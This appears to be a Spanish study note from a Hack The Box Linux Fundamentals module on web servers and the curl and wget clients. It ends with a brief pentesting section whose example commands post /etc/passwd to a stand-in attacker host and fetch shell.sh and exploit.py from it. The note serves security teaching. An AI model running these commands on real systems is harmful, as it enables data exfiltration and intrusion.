Working with Web Services - Linux Fundamentals
linux
htb
security
Objetivo
Dominar el uso de servidores web en Linux: desde servidores simples de desarrollo hasta Apache, y herramientas de cliente HTTP como curl y wget.
Introducción
Los servidores web son fundamentales tanto para desarrollo como para pruebas de penetración. Saber levantar servidores rápidamente y hacer peticiones HTTP desde la terminal son habilidades esenciales.
Escenario
Necesitas: 1. Levantar un servidor HTTP rápidamente para pruebas 2. Transferir archivos entre sistemas 3. Analizar respuestas HTTP
Ejercicios Prácticos
Ejercicio 1: Servidor HTTP con npm
Pregunta: Start a simple HTTP server using npm on port 8080.
# Instalar globalmente
npm install -g http-server
# Iniciar servidor
http-server -p 8080Respuesta: http-server -p 8080
Ejercicio 2: Servidor PHP Built-in
Pregunta: Start a PHP web server on localhost:8080.
php -S 127.0.0.1:8080Respuesta: php -S 127.0.0.1:8080
Servidores HTTP Simples
Python
# Servidor básico
python3 -m http.server 8080
# Directorio específico
python3 -m http.server 8080 --directory /rutaPHP
# Servidor con soporte PHP
php -S localhost:8000
# Con router
php -S localhost:8000 router.phpnpm
# Sin instalación
npx http-server -p 8080
# Con instalación
npm install -g http-server
http-server -p 8080
# Con CORS
http-server -p 8080 --corsHerramientas de Cliente HTTP
curl - Transferir Datos
# GET request
curl http://localhost
# Solo headers
curl -I http://localhost
# POST con datos
curl -X POST -d "key=value" http://localhost/api
# POST con JSON
curl -X POST -H "Content-Type: application/json" \
-d '{"key":"value"}' http://localhost/api
# Descargar archivo
curl -O http://localhost/archivo.txt
# Subir archivo
curl -X POST -F "file=@archivo.txt" http://localhost/upload
# Autenticación básica
curl -u user:pass http://localhost
# Seguir redirecciones
curl -L http://localhostwget - Descargar Archivos
# Descargar archivo
wget http://localhost/archivo.txt
# Con nombre específico
wget -O miarchivo.txt http://localhost/archivo.txt
# Continuar descarga interrumpida
wget -c http://localhost/archivo.grande
# Descargar recursivamente (mirror)
wget -r http://localhost
# Limitar profundidad
wget -r -l 2 http://localhost
# Background
wget -b http://localhost/archivo.grandeApache Web Server
Instalación y Gestión
# Instalar
sudo apt install apache2 -y
# Gestión
sudo systemctl start apache2
sudo systemctl stop apache2
sudo systemctl restart apache2
sudo systemctl status apache2
# Verificar configuración
sudo apache2ctl configtestConfiguración de Puertos
# Editar puertos
sudo nano /etc/apache2/ports.conf
# Cambiar:
# Listen 80
# Por:
# Listen 8080
# Reiniciar
sudo systemctl restart apache2Sitios Virtuales
# Crear nuevo sitio
sudo nano /etc/apache2/sites-available/misitio.conf
# Habilitar
sudo a2ensite misitio.conf
# Deshabilitar default
sudo a2dissite 000-default.conf
# Recargar
sudo systemctl reload apache2Módulos
# Listar módulos
apache2ctl -M
# Habilitar módulo
sudo a2enmod rewrite
sudo a2enmod ssl
# Deshabilitar
sudo a2dismod status
# Recargar
sudo systemctl restart apache2curl vs wget
| Aspecto | curl | wget |
|---|---|---|
| Output | STDOUT | Guarda archivo |
| Upload | ✓ | ✗ |
| Resume | ✗ | ✓ |
| Protocolos | HTTP, FTP, SCP, SFTP… | HTTP, HTTPS, FTP |
| Uso típico | Testing, APIs | Descargas |
Casos de Uso en Pentesting
Exfiltración de Datos
# En target: enviar datos a nuestro servidor
curl -X POST -d @/etc/passwd http://atacante.com/recibirDescargar Herramientas
# Descargar script
wget http://atacante.com/tools/shell.sh
chmod +x shell.shLevantar Servidor para Recepción
# En nuestra máquina
python3 -m http.server 8080
# En target, descargar
wget http://ip_atacante:8080/exploit.py¿Qué Aprendimos?
- npm http-server: Servidor estático rápido con
-p - PHP built-in: Ideal para desarrollo con
php -S - curl: Versátil para peticiones HTTP
- wget: Perfecto para descargas
- Python: El más simple para servir archivos
Autoevaluación
- ¿Cuál es la diferencia entre curl y wget?
- ¿Cómo inicias un servidor PHP en el puerto 3000?
- ¿Qué hace
curl -I? - ¿Cómo cambias el puerto de Apache?
- ¿Qué módulo de Apache necesitas para HTTPS?